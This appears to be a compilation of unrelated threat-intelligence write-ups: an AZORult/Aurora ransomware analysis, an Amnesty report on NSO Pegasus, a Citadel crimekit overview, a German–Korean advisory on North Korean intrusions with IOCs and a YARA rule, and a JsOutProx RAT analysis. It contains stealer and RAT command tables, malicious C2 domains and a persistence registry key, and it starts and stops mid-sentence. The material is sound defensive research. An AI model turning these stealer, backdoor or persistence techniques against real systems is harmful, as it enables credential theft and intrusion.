see, the process has now been launched. The next step for the malware is to move on to the next payload. It follows a similar flow to create and launch the second payload. It calls on the function CreateProcess. Next, it calls CreateProcessInternal, which will launch the process. And in the image below, you can see the second payload has now been launched. Now that we know how the main binary loads and executes these payloads, it’s time to get into the payloads and analyze them separately. ## Payload #1: AZORult Stealer In this section, we’ll take a look at the first payload, which is the AZORult Stealer. Let’s start by listing the modules that are loaded by the malware and then picking the ones that are of interest to us. Note that the above list of modules is the complete list and is only available after the process has loaded completely. As we start the analysis, this list should be considerably shorter. The malware extracts some important information about the victim's computer. This information is then sent to the malware's C2. Here’s an example of the function GetUserName. Among other things, the malware also tries to steal browser login data. The images below show you the function call and stack values. We’ll look at some other information that is targeted later in the article. In order to connect to the C2, the process will now call on function InternetConnectURL and we should be able to see the URL value being passed on to the stack. We can capture this IOC at this point. Next step is to canonicalize the URL so that it can be used over the wire for establishing a connection to the C2. Next step is to call the proxy functions before the connection call is made. InternetInitializeAutoProxyDll refreshes the internal state of proxy configuration information from the registry. Now let’s take a quick look into the crypto functions that are called to encrypt the data before it is sent back to C2. The malware uses a couple of Crypto functions, but the code seems to be incomplete as some major functions are not called/executed. No hash is generated/duplicated, the actual cryptEncrypt function is not called, the key is not destroyed in the end, and the context is not released. Crypto functions can still be executed the way they have been implemented in the code but cannot be re-used without problems. It’ll be interesting to see if the authors are trying to move towards full AES encryption for future releases as we saw in the case of Emotet. ### CryptAcquireContext This function is called on to get the cryptographic service provider (CSP). The provider is returned and passed on to the stack as a variable. The returned value is dumped into the memory space. ### CryptGenRandom Now, the next function, CryptGenRandom is called so that a random key can be generated. The networking information is now passed on to the stack and then dumped into the memory space. Please note that the data is in the little endian format. The malware also reads through the cookies that are available on the disk. Example of the bing.com cookie being accessed. The malware now tries to send data back to the C2 using a POST request. This is how that request is constructed. The values are passed into memory, step by step using the ‘memcpy’ function. And here’s the final request. The C2 responds with a base64 encoded string that outlines the information that the malware tries to steal (Browsers, filePaths, fileNames, etc.). ### Remarks The malware comes with loads of DLLs that are dumped in the directory: C:\Users\Administrator\AppData\Local\Temp\2fda. After successful execution, the process spawns a cmd.exe, which in turn spawns a timeout.exe. Both these processes are benign. ## Payload #2: Aurora Ransomware The second payload dropped by the malware dropper is the Aurora ransomware. Upon successful execution, it encrypts data on the victim’s computer and directs the victim to pay $150 using bitcoins. The malware is a very basic ransomware and for that reason, we’ll only analyze the networking functions and try to get the IOC from them. When executed, here is a list of modules loaded by this malware. This ransomware is geo-targeted or at least it has that functionality built into it. To perform geolocation, it attempts to connect to a geo-location site and get the location of the victim computer. Here’s the call that is made for this purpose. This script reaches out to MaxMind in the background and gets the geo-location of the victim computer. At this time, it looks like the MalActor is avoiding infections in Russia based on the geo-result from the above functionality. And here’s the C2 information for the Aurora Ransomware. Now let’s take a quick look at the connections that are made to the C2 and how the information is passed in both directions. The server uses a php script to generate a one-time public key, which is then used to encrypt the files on the disk. This key is created based on a computer ID that is generated based on the local information extracted from the computer. This malware uses ws2_32.dll for all networking operations. Look at the image below to see how the connection is constructed. First, the event is created. The next step is to load it in memory. IP passed on to the stack. Now, the request is ready to be sent to the C2. And here’s the result with the generated key. Next, let’s take a look at the actual encryption process. As you can see in the image below, the data is loaded into memory, then written to the files (over-written) to encrypt them. Below is an example of a file in the process of being encrypted. This was achieved by inserting interrupts on the function “memcpy” and then executing the process. And finally, this is the ransom note being written to the disk as a txt file. The ransom being asked by this MalActor is $150. Here’s the ransom note. We were able to get to the admin panel of the campaign, which is the back-end for the Aurora ransomware. In this campaign, we can see that the MalActor running the campaign is someone called "Oktropys", who has been seen running ransomware campaigns in the past and has been quoted as ‘Oktropys ransomware’ in some publications, which is not completely accurate. At this time, there have been two transactions on the associated wallet. ## Conclusion AZORult trojan has been around for quite some time and has been successfully used by criminals to steal critical personal information from their victims. The stolen passwords have been used widely to gain unauthorized access to bank accounts, email accounts, and other online applications. This new version is another example of malware authors bundling in different payloads to maximize the returns. In this case, they have included a ransomware and are asking for $150 for the decryption key, which is being managed by MalActor Oktropys. The initial vector for this infection is an email campaign that comes with a downloader (macro-based) that, on execution, downloads the malicious binary, which in turn drops two malware payloads and infects the victim computers. ## IOC **Network Traffic:** - hxxp://5.8.88.[]25/info.php?—?ransomware - hxp://lulaaura[.]top/index.php?—?stealer **HASHES** - Main Dropper: 09ffaa1523fbdceb7c0e6fa2be7221c161b5499dd45fc5dd4c210425fb333427 - Stealer: 5151d9245858f3e28fa45f696421a49307436808d3ec18ff9e36f7876b0696d3 - Ransomware: 41d35a960b3f28b1a729cdae920573de3ccefef7fdd3bbdb9d3ce729b6aa5277 **Aurora** **AZORult** **Ransomware** Vishal Thakur is an InfoSec researcher specializing in Incident Response and Malware Analysis. Currently working for Salesforce in CSIRT (Computer Security Incident Response Team), and before that was part of the CSIRT for Commonwealth Bank of Australia.
# Massive Data Leak Reveals Israeli NSO Group’s Spyware Used to Target Activists, Journalists, and Political Leaders Globally NSO Group’s spyware has been used to facilitate human rights violations around the world on a massive scale, according to a major investigation into the leak of 50,000 phone numbers of potential surveillance targets. These include heads of state, activists, and journalists, including Jamal Khashoggi’s family. The Pegasus Project lays bare how NSO’s spyware is a weapon of choice for repressive governments seeking to silence journalists, attack activists, and crush dissent, placing countless lives in peril. — Agnès Callamard, Secretary General of Amnesty International. The Pegasus Project is a ground-breaking collaboration by more than 80 journalists from 17 media organizations in 10 countries coordinated by Forbidden Stories, a Paris-based media non-profit, with the technical support of Amnesty International, who conducted cutting-edge forensic tests on mobile phones to identify traces of the spyware. “These revelations blow apart any claims by NSO that such attacks are rare and down to rogue use of their technology. While the company claims its spyware is only used for legitimate criminal and terror investigations, it’s clear its technology facilitates systemic abuse. They paint a picture of legitimacy while profiting from widespread human rights violations.” “Clearly, their actions pose larger questions about the wholesale lack of regulation that has created a wild west of rampant abusive targeting of activists and journalists. Until this company and the industry as a whole can show it is capable of respecting human rights, there must be an immediate moratorium on the export, sale, transfer, and use of surveillance technology.” In a written response to Forbidden Stories and its media partners, NSO Group said it “firmly denies… false claims” in the report. It wrote that the consortium’s reporting was based on “wrong assumptions” and “uncorroborated theories” and reiterated that the company was on a “life-saving mission”. ## The Investigation At the center of this investigation is NSO Group’s Pegasus spyware which, when surreptitiously installed on victims’ phones, allows an attacker complete access to the device’s messages, emails, media, microphone, camera, calls, and contacts. Over the next week, media partners of The Pegasus Project – including The Guardian, Le Monde, Süddeutsche Zeitung, and The Washington Post – will run a series of stories exposing details of how world leaders, politicians, human rights activists, and journalists have been selected as potential targets of this spyware. From the leaked data and their investigations, Forbidden Stories and its media partners identified potential NSO clients in 11 countries: Azerbaijan, Bahrain, Hungary, India, Kazakhstan, Mexico, Morocco, Rwanda, Saudi Arabia, Togo, and the United Arab Emirates (UAE). NSO Group has not taken adequate action to stop the use of its tools for unlawful targeted surveillance of activists and journalists, despite the fact that it either knew, or arguably ought to have known, that this was taking place. “The Pegasus Project revelations must act as a catalyst for change. The surveillance industry must no longer be afforded a laissez-faire approach from governments with a vested interest in using this technology to commit human rights violations.” — Agnès Callamard, Secretary General of Amnesty International. “As a first step, NSO Group must immediately shut down clients’ systems where there is credible evidence of misuse. The Pegasus Project provides this in abundance,” said Agnès Callamard. ## Khashoggi Family Targeted During the investigation, evidence has also emerged that family members of Saudi journalist Jamal Khashoggi were targeted with Pegasus software before and after his murder in Istanbul on 2 October 2018 by Saudi operatives, despite repeated denials from NSO Group. Amnesty International’s Security Lab established that Pegasus spyware was successfully installed on the phone of Khashoggi’s fiancée Hatice Cengiz just four days after his murder. His wife, Hanan Elatr, was also repeatedly targeted with the spyware between September 2017 and April 2018, as well as his son, Abdullah, who was also selected as a target along with other family members in Saudi Arabia and the UAE. In a statement, the NSO Group responded to the Pegasus Project allegations saying that its “technology was not associated in any way with the heinous murder of Jamal Khashoggi”. The company said that it “previously investigated this claim, immediately after the heinous murder, which again, is being made without validation”. ## Journalists Under Attack The investigation has so far identified at least 180 journalists in 20 countries who were selected for potential targeting with NSO spyware between 2016 to June 2021, including in Azerbaijan, Hungary, India, and Morocco, countries where crackdowns against independent media have intensified. The revelations show the real-world harm caused by unlawful surveillance: - In Mexico, journalist Cecilio Pineda’s phone was selected for targeting just weeks before his killing in 2017. The Pegasus Project identified at least 25 Mexican journalists were selected for targeting over a two-year period. NSO has denied that even if Pineda’s phone had been targeted, data collected from his phone contributed to his death. - Pegasus has been used in Azerbaijan, a country where only a few independent media outlets remain. More than 40 Azerbaijani journalists were selected as potential targets according to the investigation. Amnesty International’s Security Lab found the phone of Sevinc Vaqifqizi, a freelance journalist for independent media outlet Meydan TV, was infected over a two-year period until May 2021. - In India, at least 40 journalists from nearly every major media outlet in the country were selected as potential targets between 2017-2021. Forensic tests revealed the phones of Siddharth Varadarajan and MK Venu, co-founders of independent online outlet The Wire, were infected with Pegasus spyware as recently as June 2021. - The investigation also identified journalists working for major international media including the Associated Press, CNN, The New York Times, and Reuters as potential targets. One of the highest profile journalists was Roula Khalaf, the editor of the Financial Times. “The number of journalists identified as targets vividly illustrates how Pegasus is used as a tool to intimidate critical media. It is about controlling public narrative, resisting scrutiny, and suppressing any dissenting voice,” said Agnès Callamard. “These revelations must act as a catalyst for change. The surveillance industry must no longer be afforded a laissez-faire approach from governments with a vested interest in using this technology to commit human rights violations.” ## Exposing Pegasus Infrastructure Amnesty International is today releasing the full technical details of its Security Lab’s in-depth forensic investigations as part of the Pegasus Project. The Lab’s methodology report documents the evolution of Pegasus spyware attacks since 2018, with details on the spyware’s infrastructure, including more than 700 Pegasus-related domains. “NSO claims its spyware is undetectable and only used for legitimate criminal investigations. We have now provided irrefutable evidence of this ludicrous falsehood,” said Etienne Maynier, a technologist at Amnesty International’s Security Lab. There is nothing to suggest that NSO’s customers did not also use Pegasus in terrorism and crime investigations, and the Forbidden Stories consortium also found numbers in the data belonging to suspected criminals. “The widespread violations Pegasus facilitates must stop. Our hope is the damning evidence published over the next week will lead governments to overhaul a surveillance industry that is out of control,” said Etienne Maynier. In response to a request for comment by media organizations involved in the Pegasus Project, NSO Group said it “firmly denies” the claims and stated that “many of them are uncorroborated theories which raise serious doubts about the reliability of your sources, as well as the basis of your story.” NSO Group did not confirm or deny which governments are NSO Group’s customers, although it said that the Pegasus Project had made “incorrect assumptions” in this regard. Notwithstanding its general denial of the claims, NSO Group said it “will continue to investigate all credible claims of misuse and take appropriate action based on the results of these investigations.”
# Citadel: A Cyber-Criminal’s Ultimate Weapon? **Jérôme Segura** **November 5, 2012** In old times, a citadel was a fortress used as the last line of defense. For cyber criminals, it is a powerful and state-of-the-art toolkit to both distribute malware and manage infected computers (bots). Citadel is an offspring of the (too) popular Zeus crimekit whose main goal is to steal banking credentials by capturing keystrokes and taking screenshots/videos of victims’ computers. Citadel came out circa January 2012 in the online forums and quickly became a popular choice for criminals. A version of Citadel (1.3.4.5) was leaked in late October and although it is not the latest (1.3.5.1), it gives us a good insight into what tools the bad guys are using to make money. In this post, I will show you how criminals operate a botnet. This is not meant as a tutorial and I do want to stress that running a botnet is illegal and could send you to jail. ## A Nice Home In order to get into business, the bad guys need a server that is hosted at a company that will turn a blind eye on their activities and also guarantee them some anonymity. Such companies are called Bulletproof hosting and can be found in most underground forums. Those hosting firms are for the most part located in countries like China or Russia and therefore in their own jurisdiction where so long as you don’t commit crimes against your own people, not a whole lot can happen to you. To cover their tracks even more, the bad guys use proxy or VPN services that disguise their own IP address. ## A Shiny New Toy Once set up with a server, it is time to install what will be the mastermind program to create and organize an entire array (botnet) of infected computers worldwide. A variety of crimekits exist but in this post we will concentrate on Citadel. Once again, the core installation files can be found in the underground community or through your own connections. Recently, the Citadel kit was withdrawn from forums to prevent too much exposure and attention. It costs around $3000 USD. An instruction manual in both Russian and English is provided. The kit requires server software such as Apache, and PHP with a MySQL database to work properly. To install Citadel, you simply browse to the install folder with your browser and set up the main access username and password as well as database information. In this testing, the installer did not automatically create the database but you can do so by hand. Before logging in, I want to show you the other component that makes this package complete. It is called the builder and is essentially used to create the piece of malware that criminals will distribute (forced installs through infected websites) and that links to their crimekit. The malware is built to avoid AV detection and is tested with online virus scanners like Scan4You, an equivalent to the popular VirusTotal except this one is totally anonymous and does not share uploaded samples with antivirus vendors. Speaking of which, once installed on the victim’s machine, the malware will prevent access to security sites. Here is an example of an infection from a Citadel Trojan. Infected PCs all report to the mothership and wait for orders. This is where it gets interesting because making malware is one thing but actually managing your own campaigns is the key to success. The Citadel control panel is well designed and puts a lot of features at your fingertips. Each feature is actually a module written in PHP. The control panel gives you an overview of the machines that have been infected. It’s a sort of Malware Analytics with stats by country, Operating System, etc. The main purpose of Citadel is to steal banking credentials and so it’s no big surprise to see advanced search features to specifically look for financial institutions. A password is a password whether it’d be for a bank or something more common like a Facebook or Gmail account. In fact, you can customize any site that is of interest to you and capture the credentials. Notifications of successfully stolen passwords can be sent via Instant Message through the Jabber protocol. Stolen credentials are harvested by various means: - Keystroke logging - Screenshot capture - Video capture A powerful feature used to trick users into revealing confidential information is dubbed WebInject. It is powerful because it happens in real time and is completely seamless. A WebInject is a piece of code that contains HTML and JavaScript which creates a fake pop-up that asks the victim for personal information within the context of logging into a site. The bad guys can trigger it in two ways: either automatically when a site of interest is opened by the victim, or manually on the fly. It is the ultimate phishing tool because it does not go against any known proper precautions a user would normally take. For instance, the site’s URL is unchanged and shows the secure padlock with the financial institution’s SSL certificate. This type of hack is also called a man-in-the-middle attack. In case this method does not work (some people might get suspicious), the bad guys can always revert to a more direct approach with some ransomware. Citadel is also involved in the distribution of the FBI Moneypak (also known as Reveton) malware which locks the user out of his computer and demands $200. It is customized based on the victim’s country of origin. Since a lot of people download music and movies from torrents or other shady sites, the message tricks them into thinking they have been caught by the local authorities. It’s a very smart scare tactic which works quite well, unfortunately. To add to the drama, the malware will attempt to turn on the user’s webcam as if they were already under surveillance. Malwarebytes users are protected against the FBI Moneypak malware. If you aren’t one of them and are already infected you can remove this ransomware by following these 3 steps: 1. Reboot your computer into Safe Mode with Networking. 2. Download Malwarebytes Anti-Malware. 3. Run Malwarebytes Anti-Malware and remove all malware. That’s it! ## What’s Next for Citadel? The latest version (1.3.5.1) whose code name is Rain Edition is getting pricey at $3931 but it includes a lot of valuable features (advanced support for Chrome and Firefox, improved WebInjects, smarter ‘on-the-fly’ updates to the Trojan, etc.). The makers of Citadel are trying to keep a low enough profile to avoid gathering too much attention which could result in efforts to go after them (as we have seen with Zeus). Getting your hands on Citadel is more difficult because of a stricter validation process within the Russian underground. ## How to Protect Yourself When seeing such technically advanced crimekits, it puts a lot of things into perspective. The methods used to steal personal information are so advanced and sneaky that even the most cautious user may get fooled. It is best to avoid infection in the first place by using a solution such as Malwarebytes Anti-Malware PRO that constantly protects your computer by blocking malicious sites and files. Using a combination of both safe online practices and a good anti-malware solution will keep you safe(r).
# Warning of North Korean Cyber Threats Targeting the Defense Sector ## Summary The Bundesamt für Verfassungsschutz (BfV) of Germany and the National Intelligence Service (NIS) of South Korea are issuing a second Joint Cyber Security Advisory (CSA) to raise awareness of cyber campaigns likely carried out by North Korean cyber actors against the defense sector, targeting companies and research centers. The Democratic People’s Republic of Korea (DPRK) emphasizes military strength and focuses on the theft of advanced defense technologies globally. The BfV and NIS assess that the regime is using these technologies to modernize conventional weapons and develop new strategic weapon systems, including ballistic missiles, reconnaissance satellites, and submarines. DPRK increasingly uses cyber espionage as a cost-effective means to obtain military technologies. This Joint CSA details DPRK’s tactics, techniques, and procedures (TTPs) and Indicators of Compromise (IoCs), introducing two representative cases of intrusions into defense sector facilities. The BfV and NIS attribute the hacking incidents described in this Joint CSA to LAZARUS and another allegedly North Korean cyber threat group. The main tradecraft of the first cyber actor is known to be spear phishing attacks against diplomatic and security experts, but it appears to be expanding its targets to the defense and financial sectors. The LAZARUS group is a notorious and sophisticated cyber actor known for its advanced capabilities and involvement in high-profile incidents, including financial heists, ransomware campaigns, and cyber espionage. Successful cyber attacks in the defense sector may enable DPRK to strengthen its military by obtaining sensitive and confidential data globally. Since the cyber actors frequently change their infrastructure and constantly attack entities worldwide, the BfV and NIS anticipate a similar trajectory in the future. This Joint CSA aims to strengthen the defense industry and inform other sectors and the public. ## Technical Details ### Case 1: Intrusion into a Defense Research Center through a Website Maintenance & Repair Company The DPRK recently prioritized strengthening its naval power, constructing a new submarine in September 2023. Before that, at the end of 2022, a North Korean cyber actor intruded into the systems of a research center for maritime and shipping technologies. The cyber actor executed a supply-chain attack, initially infiltrating a supplier for maintaining one of the research center’s web servers to subsequently compromise the primary target. The cyber actor further infiltrated the research facility by deploying remote-control malware through a patch management system (PMS) of the research center and stole various account information from business portals and email contents. The authoring agencies used MITRE ATT&CK to describe the attack flow. #### Attack Flow 1. The cyber actor breached a company maintaining web servers of its target and stole SSH access credentials. Then the actor remotely accessed the web server (Linux) of the research center (T1133). 2. The actor used legitimate tools, including curl, to download additional malicious files from C2 servers, such as a tunneling tool for remote access (Ngrok) and a Base64-encoded Python script functioning as a downloader. 3. For lateral movement, the cyber actor established an SSH connection to other servers related to the website, collected packets by running tcpdump at the servers, obtained additional information about the network, and stole account credentials of the target’s employees (T1040, T1046, T1021). 4. The cyber actor then used the account information of a security manager to gain access to the email account and obtain information regarding an operating procedure of the PMS. The actor impersonated the security manager and sent an email to the PMS service provider requesting to create a patch file with malicious functions. Although the file with malicious code masqueraded as a legitimate file, the genuine security manager detected and successfully blocked the attempt to distribute the malicious patch file through PMS. The malicious code had functions to upload and download files, execute code, and collect system information (T1041, T1001, T1071). 5. Even after the research center strengthened security, the cyber actor continued malicious attempts by exploiting a file-upload vulnerability of the website and uploading a web shell, as well as sending spear phishing emails. ### Key Findings Rather than a direct compromise of a target system, the cyber actor first conducted attacks against one of the research center’s vendors. During the COVID pandemic, it became difficult to have onsite maintenance and repair services for server infrastructure, leading to remote services being provided instead. However, lacking security measures allowed unattended access to servers without access control. Usually, the cyber actor stops its activity when detected. However, in this case, even after PMS distribution and SSH remote access were blocked, the cyber actor made various attempts to maintain persistence by uploading a web shell to the web page and sending spear phishing emails to the target’s employees. The actor avoided a direct attack against its target, which maintained a high level of security, and instead made an initial attack against its vendor, indicating that the actor took advantage of the trustful relationship between the two entities. ### Case 2: North Korea’s Social Engineering Attacks In this second case, the LAZARUS group’s distinctive skills in social engineering will be outlined. Since at least mid-2020, the DPRK has taken advantage of this attack vector to infiltrate defense companies. In all observed cases, the targeted employees received malicious files obfuscated in relation to job offers, leading to the campaign being referred to as “Operation Dream Job.” For over three years, LAZARUS has conducted this kind of attack against the defense sector and has proven to be an elusive and well-organized actor that poses a hazardous threat to both cyber and global security. #### Attack Flow 1. The actor creates a profile on an online job portal, either a stolen profile or a fake one designed to look like a headhunter’s profile with a wide network of contacts in the defense sector. Once the profile looks legitimate, the actor continues with the next step. 2. The actor searches for possible targets by looking at the profiles of people working for one of the companies of interest, focusing on those who might have access to valuable assets like internal systems. 3. Once a suitable employee is found, the actor may add contacts from the target’s social circle to gain trust and reliability. A connection is established via the job portal’s messaging service, initiating a conversation that could last from days to months to establish trust. During this time, the target is offered a job, and even if not interested, the attacker persuades the employee by highlighting the generous salary of the offered position. The target is then asked to shift communication to another channel (i.e., WhatsApp, Telegram, Skype, Discord). 4. If the actor successfully lures the targeted employee to another communication channel, different approaches are evolved to circumvent security measures of the target’s employing company: - The actor sends a PDF file with a lucrative job offer tailored to the interests of the targeted employee, containing disguised malware. - The actor sends a file with superficial information about the position. If the employee wants further details, the attacker sends a link to a file with in-depth information to the corporate email address, ensuring the employee is at work when the link is provided. The linked file is stored on a cloud-based service and contains the first stage of malware. - More recently, job offers have been directed to programmers, where the actor sends zip files containing an ISO image with a coding challenge that, when executed, infects the machine with the first stage malware. - Another method involves sending a malicious VPN client in a zip file. ### Key Findings The circumstance that employees usually do not discuss job offers with colleagues or employers plays into the hands of the attacker. The LAZARUS group has changed its tools throughout the campaign and has demonstrated its capability to develop whatever is necessary to suit the situation. ## Mitigation Following prevention guidelines in the Joint CSA are based on observations made by the BfV and NIS: - Brief employees regularly about the latest tendencies in cyber attacks to deepen their understanding of cyber actors’ modus operandi and ensure proper management during actual intrusions. - Since most attacks by North Korea’s cyber units are carried out through social engineering and supply-chain attacks, the following precautions should be taken: - Limit access only to necessary systems when receiving remote maintenance and repair services, and perform authentication before granting user permissions and privileges. - Store and maintain audit logs, including system access records, and monitor them regularly to detect anomalous access. - Adopt a proper PMS procedure to verify user authentication and implement an adequate verification and confirmation process for the final stage of distribution. - Always implement SSL/TLS when creating a website to prevent breaches of critical data, including account information. - If employees use a VPN to work from home, multi-factor authentication along with user ID and password authentication is highly recommended. - Refer to the first BfV-NIS Joint CSA published in March 2023 for details about spear phishing prevention guidelines. ### Social Engineering Attacks: Prevention and Best Practices - Educate personnel about common social engineering tactics, including vigilance against suspicious password-locked documents or links, and establish an error culture encouraging employees to report security incidents without fearing consequences. - Limit privileges and access to sensitive data only to authorized users. - Establish a strict update and patch routine to remove vulnerabilities in network systems. - Apply these prevention guidelines to all domestic and overseas branches of your organization. ## Contact Report cyber security incidents or anomalous activity related to state-sponsored cyber actors to the following organizations: **ROK organization:** National Intelligence Service (Visit www.nis.go.kr or call +82 111) **German organization:** Bundesamt für Verfassungsschutz (Visit www.verfassungsschutz.de or call +49 (0) 30-18 / 792-3322) ## Indicators of Compromise (IoCs) ### IoCs of the Cyber Campaign Targeting a Website Maintenance & Repair Company | Section | IoC | Note | |---------|-----|------| | C2 | connection.lockscreen.kro[.]kr/index.php | C2 URL | | C2 | updating.dothome.co[.]kr/microsoft/app/google | C2 URL | | MD5 | 3c2aa3687ac9f466ce909e2cb12b07a5 | Malicious script (JSE) | | MD5 | 4631ef8db9c36b0f2534ac7193f2587e | Webshell (_banner.jsp) | ### IoCs of the Social Engineering Campaign Against the Defense Sector | Section | IoC | Note | |---------|-----|------| | Domain | chrysalisc[.]com | Domain | | Domain | sifucanva[.]com | Domain | | Domain | thefrostery.co[.]uk | Domain | | Domain | rginfotechnology[.]com | Domain | | Domain | job4writers[.]com | Domain | | Domain | contact.rgssm[.]in | Domain | | SHA-1 | 7da62cdb447a7ae3ae7b5f67a511e7cf2b26c7df | Boeing_Asia_ERP_IT_SA.zip | | SHA-1 | 2e0d374f1e706ae1fa24558b54c5a1630302eab1 | Boeing_Asia-ERP_IT_SA.iso | | SHA-1 | 294706ae0585abaf4e6c5e66a7f5141ac4281d57 | Amazon VNC.exe | | SHA-1 | 127ced578e041f53b5988a7fefaa6e09e64f4bf9 | AmazonVNC Viewer.exe | ### YARA Rule for Detecting Operation Dream Job Files The following YARA rule resulted from the examination of an Amazon VNC Viewer file’s behavior and will detect at least three different Amazon VNC Viewer samples with the provided hash values. ```yara rule operation_DREAMJOB_AMAZON_VNC { meta: target_entity = "file" condition: for any vt_behaviour_command_executions in vt.behaviour.command_executions: (vt_behaviour_command_executions == "C:\\Windows\\System32\\wuapihost.exe -Embedding" or vt_behaviour_command_executions == "\"%SAMPLEPATH%\\AmazonVNC Viewer.exe\"") and for any vt_behaviour_http_conversations in vt.behaviour.http_conversations: ( vt_behaviour_http_conversations.url == "https://sifucanva[.]com/wp-includes/fonts/public/common.php") } ``` (Note: The square brackets of the URL must be removed for the rule to work. They have been added to prevent accidental clicks on a malicious link.)
# Targeted Attacks on Indian Government and Financial Institutions Using the JsOutProx RAT It is not uncommon for cybercriminals to target specific countries or regions. They often employ this strategy. In April 2020, ThreatLabZ observed several instances of targeted attacks on Indian government establishments and the banking sector. Emails were sent to organizations, such as the Reserve Bank of India (RBI), IDBI Bank, and the Department of Refinance (DOR) within the National Bank for Agriculture and Rural Development (NABARD) in India, with archive file attachments containing JavaScript and Java-based backdoors. Further analysis of the JavaScript-based backdoor led us to correlate it to the JsOutProx RAT, which was used for the first time by a threat actor in December 2019. The Java-based RAT provided functionalities similar to the JavaScript-based backdoor in this attack. In this blog, we describe in detail the email attack vector of this targeted campaign, the technical analysis of the discovered backdoors, and our conclusions on this attack. ## Email Analysis Below is the email that was sent to the government officials in NABARD, which contained a malicious archive file attachment. The email attachment filename is: `KCC_Saturation_letter_to_all_StCBs_RRBs_pdf.zip`. This archive contains an HTA file inside it that performs the malicious activities. The MD5 hash of the HTA file is: `23b32dce9e3a7c1af4534fe9cf7f461e`. The theme of the email is related to KCC Saturation, which relates to the Kisan Credit Card scheme and is detailed on the official website of NABARD. Attackers leveraged this theme because it is relevant to the Department of Refinance, making this email look more legitimate. We used the email headers to trace the origin to hosteam.pl, which is a hosting provider in Poland. The same HTML Application (HTA) file was also sent in an archive attachment to IDBI Bank. Based on the email headers and the infrastructure used to send the previous emails, we were able to identify more instances of these attacks and attribute them to the same threat actor. The contents of the email sent to RBI contained an archive file that includes a Java-based backdoor. The email sent to Agriculture Insurance Company of India (AIC) also contained a malicious attachment. In both cases, the Java-based backdoor has the same hash, and only the filenames used were different. The hash of the JAR file is: `0ac306c29fde5e710ae5d022d78769f6`. ## Technical Analysis of JsOutProx The MD5 hash of the HTA file is: `23b32dce9e3a7c1af4534fe9cf7f461e`. Upon execution, the HTA file displays junk data in a window that flashes quickly on the screen before auto-closing. This HTA file contains a JavaScript that is executed by mshta. There is a long array of encoded strings present at the beginning of the JavaScript. This array of strings will be referenced throughout the JavaScript. They are base64 decoded and RC4 decrypted at runtime at the time of execution. The JavaScript code in this HTA file is heavily obfuscated. The string decoding and decryption routines show that the RC4 algorithm was used. The process of string decryption can be summarized in the following steps: 1. The string decryption routines are invoked with calls such as: `b(‘0x4’, ‘qP52’)`. The first parameter is the index of the encoded string in the long array declared at the beginning of the JavaScript. The second parameter is the RC4 decryption key. 2. The string is base64 decoded using the `atob()` JavaScript function. 3. An S-box is generated using a for loop to generate the sequence: `0x0` to `0x100`. 4. The S-box is permutated using the decryption key. 5. The permutated S-box is used to perform XOR decryption of the encrypted string. After decrypting all the strings in this JavaScript, we can see the main configuration. Some of the critical parameters in the config file are: 1. **BaseURL**: This is the C2 communication URL. In this case, it makes use of Dynamic DNS (*.ddns.net) and a non-standard port. 2. **Delimiter**: This is the delimiter that will be used while exfiltrating information about the system. 3. **SleepTime**: The duration for which the execution needs to be delayed. 4. **Delay**: Similar to the SleepTime parameter. 5. **Tag**: This is a unique indicator that is appended to the data during exfiltration. In this case, the tag is: Vaster. The first time this JavaScript-based backdoor was discovered in December 2019, the value of this tag was: JsOutProx. 6. **IDPrefix**: This parameter corresponds to the Cookie name that will be set in the HTTP POST request sent by the backdoor to the C2 server at the time of initialization. 7. **RunSubKey**: This is the Windows Registry Key that will be used for persistence on the machine. The script checks whether it is being executed by mshta, wscript, or by an ASP Server. This indicates that the script has the capability to execute in different environments, including web servers. The first instance of JsOutProx discovered in December 2019 was a JavaScript file. The instance we discovered in April 2020 was an HTA file with the JavaScript code obfuscated and embedded inside. The script also has the ability to delay execution. The `init()` routine is the initialization routine, which gathers different types of information from the system and sends it in an HTTP POST request to the C2 server. The individual fields collected during the `init()` routine are: - Volume serial number - UUID - ComputerName - UserName - OS caption - OS version - Tag All these values are separated by the delimiter “_|_” and concatenated, then hex encoded and set in the Cookie header called “_giks” of the HTTP POST request sent to the C2 server. The command and control communication between the backdoor and the C2 server is synchronized using the Cookie in the HTTP request and responses. The last field in the cookie indicates the type of client command. The description of the commands is included in the table below. | Command | Description | |---------|-------------| | upd | Download and execute the script. | | rst | Re-launch the script. | | l32 | Similar to rst command. | | dcn | Exit the execution. | | rbt | Reboot the system. | | shd | Shutdown the system. | | lgf | Shutdown the system. | | ejs | Use eval() to execute the JavaScript sent by server. | | evb | Use ActiveXObject to execute the VBScript sent by server. | | uis | Uninstall the backdoor. | | ins | Install the backdoor. | | fi | Invokes the File Plugin. | | do | Invokes the Download Plugin. | | sp | Invokes the ScreenPShellPlugin. | | cn | Invokes the ShellPlugin. | ## Technical Analysis of the Java-based Backdoor The MD5 hash of the JAR file is: `0ac306c29fde5e710ae5d022d78769f6`. The JAR file is heavily obfuscated. There is an AES-encrypted resource present in this JAR file with the name: “jkgdlfhggf.bvl”. This resource will be loaded and decrypted at runtime. This resource gets decrypted to another JAR file, which will be dropped in the `%appdata%` directory on the machine with the name `jhkgdldsgf.jar`. The dropped JAR file contains all the functionality for this Java-based backdoor. The JAR file connects to the C&C server: `scndppe.ddns.net` at port `9050`. This Java-based backdoor is modular in structure and contains several plugins. The controller receives the command along with an array of strings that represent the parameters for the corresponding command. Each of the C&C commands are used to invoke a plugin that executes the command sent by the server. ### Filemanager Plugin This plugin is responsible for managing all the file system related actions which can be performed by the attacker remotely. The plugin supports multiple commands. | Plugin Command | Purpose | |----------------|---------| | Fm.dv | Get list of system drives (including CD drive). | | Fm.get | Get list of files and folders in a directory. | | Fm.nd | Create a new directory. | | Fm.e | Execute a command using Runtime.getRuntime().exec() | | Fm.es | Start a new system shell based on the type of OS. | | Fm.cp | Copy contents of one file to another. | | Fm.chm | Change the permissions of a file using chmod command (only for Linux and Mac). | | Fm.mv | Move a file from one location to another. | | Fm.del | Delete a file. | | Fm.ren | Rename a file. | | Fm.chmod | Similar to chm command. | | Fm.down | Download a file from the system. Contents of the file are Gzip compressed and Base64 encoded before downloading. | | Fm.up | Upload a file to the system. Contents of the file Gzip decompressed and Base64 decoded before dropping on the file system. | ### Screen Plugin This plugin uses the `java.Awt.Robot` class to perform all the mouse and keyboard simulations on the machine as well as to take screen captures. | Plugin Command | Purpose | |----------------|---------| | sc.op | Fetch the screen size width and height information. | | sc.ck | Simulate mouse actions like double click, scroll up and scroll down. | | sc.mv | Move the mouse cursor to specified coordinates. | | sc.cap | Take a screen capture. | | sc.ky | Send keystrokes to the machine. | ### Persistence To ensure that this JAR file is executed automatically when the system reboots, a Windows run registry key is created. ``` HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v jhkgdldsgf /d '\'C:\Program 